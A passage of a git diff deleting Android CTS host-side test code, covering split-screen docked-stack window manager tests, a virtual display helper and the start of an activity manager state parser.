- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
- }
-
- public void testDockActivity() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
- }
-
- public void testNonResizeableNotDocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(NON_RESIZEABLE_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
-
- mAmWmState.assertContainsStack("Must contain home stack.", HOME_STACK_ID);
- mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
- mAmWmState.assertFrontStack(
- "Fullscreen stack must be front stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- }
-
- public void testLaunchToSide() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
- }
-
- public void testLaunchToSideMultiWindowCallbacks() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- // Launch two activities, one docked, one adjacent
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
- // Remove the docked stack, and ensure that
- final String logSeparator = clearLogcat();
- removeStacks(DOCKED_STACK_ID);
- final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(
- TEST_ACTIVITY_NAME, logSeparator);
- if (lifecycleCounts.mMultiWindowModeChangedCount != 1) {
- fail(TEST_ACTIVITY_NAME + " has received "
- + lifecycleCounts.mMultiWindowModeChangedCount
- + " onMultiWindowModeChanged() calls, expecting 1");
- }
- }
-
- public void testLaunchToSideAndBringToFront() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- final String[] waitForFirstVisible = new String[] {TEST_ACTIVITY_NAME};
- final String[] waitForSecondVisible = new String[] {NO_RELAUNCH_ACTIVITY_NAME};
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- // Launch activity to side.
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, waitForFirstVisible);
- int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
- TEST_ACTIVITY_NAME);
-
- // Launch another activity to side to cover first one.
- launchActivityInStack(NO_RELAUNCH_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.computeState(mDevice, waitForSecondVisible);
- int taskNumberCovered = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertEquals("Fullscreen stack must have one task added.",
- taskNumberInitial + 1, taskNumberCovered);
- mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
- NO_RELAUNCH_ACTIVITY_NAME);
-
- // Launch activity that was first launched to side. It should be brought to front.
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, waitForFirstVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertEquals("Task number in fullscreen stack must remain the same.",
- taskNumberCovered, taskNumberFinal);
- mAmWmState.assertFocusedActivity("Launched to side covering activity must be in front.",
- TEST_ACTIVITY_NAME);
- }
-
- public void testLaunchToSideMultiple() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- final String[] waitForActivitiesVisible =
- new String[] {TEST_ACTIVITY_NAME, LAUNCHING_ACTIVITY};
-
- // Launch activity to side.
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-
- // Try to launch to side same activity again.
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertEquals("Task number mustn't change.", taskNumberInitial, taskNumberFinal);
- mAmWmState.assertFocusedActivity("Launched to side activity must remain in front.",
- TEST_ACTIVITY_NAME);
- mAmWmState.assertNotNull("Launched to side activity must remain in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
- }
-
- public void testLaunchToSideSingleInstance() throws Exception {
- launchTargetToSide(SINGLE_INSTANCE_ACTIVITY_NAME, false);
- }
-
- public void testLaunchToSideSingleTask() throws Exception {
- launchTargetToSide(SINGLE_TASK_ACTIVITY_NAME, false);
- }
-
- public void testLaunchToSideMultipleWithDifferentIntent() throws Exception {
- launchTargetToSide(TEST_ACTIVITY_NAME, true);
- }
-
- private void launchTargetToSide(String targetActivityName,
- boolean taskCountMustIncrement) throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
-
- final String[] waitForActivitiesVisible =
- new String[] {targetActivityName, LAUNCHING_ACTIVITY};
-
- // Launch activity to side with data.
- launchActivityToSide(true, false, targetActivityName);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
-
- // Try to launch to side same activity again with different data.
- launchActivityToSide(true, false, targetActivityName);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberSecondLaunch = mAmWmState.getAmState()
- .getStackById(FULLSCREEN_WORKSPACE_STACK_ID).getTasks().size();
- if (taskCountMustIncrement) {
- mAmWmState.assertEquals("Task number must be incremented.", taskNumberInitial + 1,
- taskNumberSecondLaunch);
- } else {
- mAmWmState.assertEquals("Task number must not change.", taskNumberInitial,
- taskNumberSecondLaunch);
- }
- mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
- targetActivityName);
- mAmWmState.assertNotNull("Launched to side activity must be launched in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
-
- // Try to launch to side same activity again with no data.
- launchActivityToSide(false, false, targetActivityName);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- if (taskCountMustIncrement) {
- mAmWmState.assertEquals("Task number must be incremented.", taskNumberSecondLaunch + 1,
- taskNumberFinal);
- } else {
- mAmWmState.assertEquals("Task number must not change.", taskNumberSecondLaunch,
- taskNumberFinal);
- }
- mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
- targetActivityName);
- mAmWmState.assertNotNull("Launched to side activity must be launched in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(targetActivityName, FULLSCREEN_WORKSPACE_STACK_ID));
- }
-
- public void testLaunchToSideMultipleWithFlag() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- final String[] waitForActivitiesVisible =
- new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
-
- // Launch activity to side.
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberInitial = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertNotNull("Launched to side activity must be in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
-
- // Try to launch to side same activity again, but with Intent#FLAG_ACTIVITY_MULTIPLE_TASK.
- getLaunchActivityBuilder().setToSide(true).setMultipleTask(true).execute();
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- int taskNumberFinal = mAmWmState.getAmState().getStackById(FULLSCREEN_WORKSPACE_STACK_ID)
- .getTasks().size();
- mAmWmState.assertEquals("Task number must be incremented.", taskNumberInitial + 1,
- taskNumberFinal);
- mAmWmState.assertFocusedActivity("Launched to side activity must be in front.",
- TEST_ACTIVITY_NAME);
- mAmWmState.assertNotNull("Launched to side activity must remain in fullscreen stack.",
- mAmWmState.getAmState()
- .getTaskByActivityName(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID));
- }
-
- public void testRotationWhenDocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
- // Rotate device single steps (90°) 0-1-2-3.
- // Each time we compute the state we implicitly assert valid bounds.
- String[] waitForActivitiesVisible =
- new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
- for (int i = 0; i < 4; i++) {
- setDeviceRotation(i);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- }
- // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
- // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side.
- setDeviceRotation(1);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(3);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(0);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(2);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(0);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- }
-
- public void testRotationWhenDockedWhileLocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(LAUNCHING_ACTIVITY);
- mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
- getLaunchActivityBuilder().setToSide(true).execute();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertSanity();
- mAmWmState.assertContainsStack(
- "Must contain fullscreen stack.", FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
-
- String[] waitForActivitiesVisible =
- new String[] {LAUNCHING_ACTIVITY, TEST_ACTIVITY_NAME};
- for (int i = 0; i < 4; i++) {
- sleepDevice();
- setDeviceRotation(i);
- wakeUpAndUnlockDevice();
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- }
- }
-
- public void testRotationWhileDockMinimized() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStackAndMinimize(TEST_ACTIVITY_NAME);
- assertDockMinimized();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
- mAmWmState.assertFocusedStack("Home activity should be focused in minimized mode",
- HOME_STACK_ID);
-
- // Rotate device single steps (90°) 0-1-2-3.
- // Each time we compute the state we implicitly assert valid bounds in minimized mode.
- String[] waitForActivitiesVisible = new String[] {TEST_ACTIVITY_NAME};
- for (int i = 0; i < 4; i++) {
- setDeviceRotation(i);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- }
-
- // Double steps (180°) We ended the single step at 3. So, we jump directly to 1 for double
- // step. So, we are testing 3-1-3 for one side and 0-2-0 for the other side in minimized
- // mode.
- setDeviceRotation(1);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(3);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(0);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(2);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- setDeviceRotation(0);
- mAmWmState.computeState(mDevice, waitForActivitiesVisible);
- }
-
- public void testMinimizeAndUnminimizeThenGoingHome() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- // Rotate the screen to check that minimize, unminimize, dismiss the docked stack and then
- // going home has the correct app transition
- for (int i = 0; i < 4; i++) {
- setDeviceRotation(i);
- launchActivityInDockStackAndMinimize(DOCKED_ACTIVITY_NAME);
- assertDockMinimized();
-
- // Unminimize the docked stack
- pressAppSwitchButton();
- waitForDockNotMinimized();
- assertDockNotMinimized();
-
- // Dismiss the dock stack
- launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- moveActivityToStack(DOCKED_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.computeState(mDevice, new String[]{DOCKED_ACTIVITY_NAME});
-
- // Go home and check the app transition
- assertNotSame(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
- pressHomeButton();
- mAmWmState.computeState(mDevice, null);
- assertEquals(TRANSIT_WALLPAPER_OPEN, mAmWmState.getWmState().getLastTransition());
- }
- }
-
- public void testFinishDockActivityWhileMinimized() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStackAndMinimize(FINISHABLE_ACTIVITY_NAME);
- assertDockMinimized();
-
- runCommandAndPrintOutput("am broadcast -a 'android.server.cts.FinishableActivity.finish'");
- waitForDockNotMinimized();
- mAmWmState.assertVisibility(FINISHABLE_ACTIVITY_NAME, false);
- assertDockNotMinimized();
- }
-
- public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- sleepDevice();
- wakeUpAndUnlockDevice();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- assertDockMinimized();
- }
-
- public void testMinimizedStateWhenUnlockedAndUnMinimized() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStackAndMinimize(FINISHABLE_ACTIVITY_NAME);
- assertDockMinimized();
-
- sleepDevice();
- wakeUpAndUnlockDevice();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
-
- // Unminimized back to splitscreen
- pressAppSwitchButton();
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- }
-
- public void testResizeDockedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(DOCKED_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[] {DOCKED_ACTIVITY_NAME});
- launchActivityInStack(TEST_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
- resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
- mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME, DOCKED_ACTIVITY_NAME},
- false /* compareTaskAndStackBounds */);
- mAmWmState.assertContainsStack("Must contain docked stack", DOCKED_STACK_ID);
- mAmWmState.assertContainsStack("Must contain fullscreen stack",
- FULLSCREEN_WORKSPACE_STACK_ID);
- assertEquals(new Rectangle(0, 0, STACK_SIZE, STACK_SIZE),
- mAmWmState.getAmState().getStackById(DOCKED_STACK_ID).getBounds());
- mAmWmState.assertDockedTaskBounds(TASK_SIZE, TASK_SIZE, DOCKED_ACTIVITY_NAME);
- mAmWmState.assertVisibility(DOCKED_ACTIVITY_NAME, true);
- mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true);
- }
-
- public void testActivityLifeCycleOnResizeDockedStack() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- final String[] waitTestActivityName = new String[] {TEST_ACTIVITY_NAME};
- launchActivity(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, waitTestActivityName);
- final Rectangle fullScreenBounds =
- mAmWmState.getWmState().getStack(FULLSCREEN_WORKSPACE_STACK_ID).getBounds();
-
- moveActivityToDockStack(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, waitTestActivityName);
- launchActivityInStack(NO_RELAUNCH_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
-
- mAmWmState.computeState(mDevice,
- new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
- final Rectangle initialDockBounds =
- mAmWmState.getWmState().getStack(DOCKED_STACK_ID).getBounds();
-
- final String logSeparator = clearLogcat();
-
- Rectangle newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, true);
- resizeDockedStack(newBounds.width, newBounds.height, newBounds.width, newBounds.height);
- mAmWmState.computeState(mDevice,
- new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
-
- // We resize twice to make sure we cross an orientation change threshold for both
- // activities.
- newBounds = computeNewDockBounds(fullScreenBounds, initialDockBounds, false);
- resizeDockedStack(newBounds.width, newBounds.height, newBounds.width, newBounds.height);
- mAmWmState.computeState(mDevice,
- new String[]{TEST_ACTIVITY_NAME, NO_RELAUNCH_ACTIVITY_NAME});
- assertActivityLifecycle(TEST_ACTIVITY_NAME, true /* relaunched */, logSeparator);
- assertActivityLifecycle(NO_RELAUNCH_ACTIVITY_NAME, false /* relaunched */, logSeparator);
- }
-
- private Rectangle computeNewDockBounds(
- Rectangle fullscreenBounds, Rectangle dockBounds, boolean reduceSize) {
- final boolean inLandscape = fullscreenBounds.width > dockBounds.width;
- // We are either increasing size or reducing it.
- final float sizeChangeFactor = reduceSize ? 0.5f : 1.5f;
- final Rectangle newBounds = new Rectangle(dockBounds);
- if (inLandscape) {
- // In landscape we change the width.
- newBounds.width *= sizeChangeFactor;
- } else {
- // In portrait we change the height
- newBounds.height *= sizeChangeFactor;
- }
-
- return newBounds;
- }
-
- public void testStackListOrderLaunchDockedActivity() throws Exception {
- if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no split multi-window support");
- return;
- }
-
- launchActivityInDockStack(TEST_ACTIVITY_NAME);
- mAmWmState.computeState(mDevice, new String[]{TEST_ACTIVITY_NAME});
-
- final int homeStackIndex = mAmWmState.getStackPosition(HOME_STACK_ID);
- final int recentsStackIndex = mAmWmState.getStackPosition(RECENTS_STACK_ID);
- assertTrue("Recents stack should be on top of home stack",
- recentsStackIndex < homeStackIndex);
- }
-
- private void launchActivityInDockStackAndMinimize(String activityName) throws Exception {
- launchActivityInDockStack(activityName);
- pressHomeButton();
- waitForDockMinimized();
- }
-
- private void assertDockMinimized() {
- assertTrue(mAmWmState.getWmState().isDockedStackMinimized());
- }
-
- private void assertDockNotMinimized() {
- assertFalse(mAmWmState.getWmState().isDockedStackMinimized());
- }
-
- private void waitForDockMinimized() throws Exception {
- mAmWmState.waitForWithWmState(mDevice, state -> state.isDockedStackMinimized(),
- "***Waiting for Dock stack to be minimized");
- }
-
- private void waitForDockNotMinimized() throws Exception {
- mAmWmState.waitForWithWmState(mDevice, state -> !state.isDockedStackMinimized(),
- "***Waiting for Dock stack to not be minimized");
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java b/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
deleted file mode 100644
index 89683a0..0000000
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/util/src/android/server/displayservice/DisplayHelper.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package android.server.displayservice;
-
-import static junit.framework.Assert.assertTrue;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-public class DisplayHelper {
- private static final String VIRTUAL_DISPLAY_NAME = "CtsVirtualDisplay";
- private static final String VIRTUAL_DISPLAY_SERVICE =
- "android.server.displayservice/.VirtualDisplayService";
- private static final Pattern mDisplayDevicePattern = Pattern.compile(
- ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
-
- private boolean mCreated;
- private final ITestDevice mDevice;
-
- public DisplayHelper(ITestDevice device) {
- mDevice = device;
- }
-
- public void createAndWaitForDisplay(boolean external, boolean requestShowWhenLocked)
- throws DeviceNotAvailableException {
- StringBuilder command =
- new StringBuilder("am startfgservice -n " + VIRTUAL_DISPLAY_SERVICE);
- command.append(" --es command create");
- if (external) {
- command.append(" --ez external_display true");
- }
- if (requestShowWhenLocked) {
- command.append(" --ez show_content_when_locked true");
- }
- mDevice.executeShellCommand(command.toString());
-
- waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
- mCreated = true;
- }
-
- public void turnDisplayOff() throws DeviceNotAvailableException {
- mDevice.executeShellCommand(
- "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command off");
- waitForDisplayState(mDevice, false /* default */, true /* exists */, false /* on */);
- }
-
- public void turnDisplayOn() throws DeviceNotAvailableException {
- mDevice.executeShellCommand(
- "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command on");
- waitForDisplayState(mDevice, false /* default */, true /* exists */, true /* on */);
- }
-
- public void releaseDisplay() throws DeviceNotAvailableException {
- if (mCreated) {
- mDevice.executeShellCommand(
- "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command destroy");
- waitForDisplayState(mDevice, false /* default */, false /* exists */, true /* on */);
- }
- mCreated = false;
- }
-
- public static void waitForDefaultDisplayState(ITestDevice device, boolean wantOn)
- throws DeviceNotAvailableException {
- waitForDisplayState(device, true /* default */, true /* exists */, wantOn);
- }
-
- public static boolean getDefaultDisplayState(ITestDevice device)
- throws DeviceNotAvailableException {
- return getDisplayState(device, true);
- }
-
- private static void waitForDisplayState(
- ITestDevice device, boolean defaultDisplay, boolean wantExists, boolean wantOn)
- throws DeviceNotAvailableException {
- int tries = 0;
- boolean done = false;
- do {
- if (tries > 0) {
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- // Oh well
- }
- }
-
- Boolean state = getDisplayState(device, defaultDisplay);
- done = (!wantExists && state == null)
- || (wantExists && state != null && state == wantOn);
-
- tries++;
- } while (tries < 10 && !done);
-
- assertTrue(done);
- }
-
- private static Boolean getDisplayState(ITestDevice device, boolean defaultDisplay)
- throws DeviceNotAvailableException {
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- device.executeShellCommand("dumpsys display", outputReceiver);
- String dump = outputReceiver.getOutput();
-
- boolean displayExists = false;
- boolean displayOn = false;
- for (String line : dump.split("\\n")) {
- Matcher matcher = mDisplayDevicePattern.matcher(line);
- if (matcher.matches()) {
- if ((defaultDisplay && line.contains("FLAG_DEFAULT_DISPLAY"))
- || (!defaultDisplay && VIRTUAL_DISPLAY_NAME.equals(matcher.group(1)))) {
- return "ON".equals(matcher.group(2));
- }
- }
- }
- return null;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
deleted file mode 100644
index 65098fb..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
+++ /dev/null
@@ -1,907 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-import java.awt.Rectangle;
-import java.lang.Integer;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-
-import java.util.Map;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.RECENTS_STACK_ID;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-class ActivityManagerState {
- public static final int DUMP_MODE_ACTIVITIES = 0;
-
- public static final String STATE_RESUMED = "RESUMED";
- public static final String STATE_PAUSED = "PAUSED";
- public static final String STATE_STOPPED = "STOPPED";
- public static final String STATE_DESTROYED = "DESTROYED";
-
- public static final String RESIZE_MODE_RESIZEABLE = "RESIZE_MODE_RESIZEABLE";
-
- private static final String DUMPSYS_ACTIVITY_ACTIVITIES = "dumpsys activity activities";
-
- // Copied from ActivityRecord.java
- private static final int APPLICATION_ACTIVITY_TYPE = 0;
- private static final int HOME_ACTIVITY_TYPE = 1;
- private static final int RECENTS_ACTIVITY_TYPE = 2;
-
- private final Pattern mDisplayIdPattern = Pattern.compile("Display #(\\d+).*");
